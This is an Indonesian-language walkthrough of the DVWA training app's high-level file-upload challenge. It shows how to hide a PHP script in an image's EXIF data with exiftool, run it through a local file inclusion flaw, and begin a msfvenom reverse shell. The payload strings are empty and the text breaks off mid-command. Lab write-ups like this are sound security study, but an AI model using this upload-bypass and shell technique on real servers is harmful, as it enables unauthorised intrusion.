# High
Di bawah ini adalah *source-code* dari *file upload* level high di DVWA.
```php
vulnerabilities/upload/source/high.php
Your image was not uploaded.';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
```
## Mencari Informasi
Kali ini terdapat tambahan fungsi [`getimagesize()`](https://www.geeksforgeeks.org/php-getimagesize-function/) pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.
Menurut sepengetahuan saya saat ini, kali ini kita tidak bisa mem-*bypass* file *non-image* lagi.
Setelah berhari-hari mencari solusi, akhirnya saya menemukan jawabannya, yaitu dengan menyisipkan *script* PHP ke dalam EXIF data dari file gambar. Lalu gambar tersebut di-upload ke server target, dan selanjutnya *script* tersebut dijalankan melalui celah *local file inclusion*.
## Melakukan Serangan
**Pertama-tama**, siapkan gambar apa pun lalu sisipkan *script* menggunakan [EXIFTOOL](https://exiftool.org/) seperti berikut:
```
exiftool -DocumentName="" kucing.jpg
```
Hasilnya, *script* tersebut telah tersimpan di *header* `Document Name` pada file gambar:
Jika kita mencoba menjalan *script* tersebut melalui PHP CLI, maka akan tampil seperti berikut:
Oke mantap! Selanjutnya, upload file tersebut lalu akses file tersebut melalui celah *local file inclusion*, dan hasilnya akan seperti berikut:
Terlihat fungsi [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) berhasil dijalankan. Dan selanjutnya kita akan mencoba melakukan *reverse shell* seperti pada level sebelumnya.
### Melakukan Backconnect
Pertama-tama, buat shell menggunakan msfvenom seperti pada level sebelumnya.
Selanjutnya kita sisipkan shell tersebut ke dalam EXIF data gambar, seperti berikut:
```bash
exiftool -DocumentName='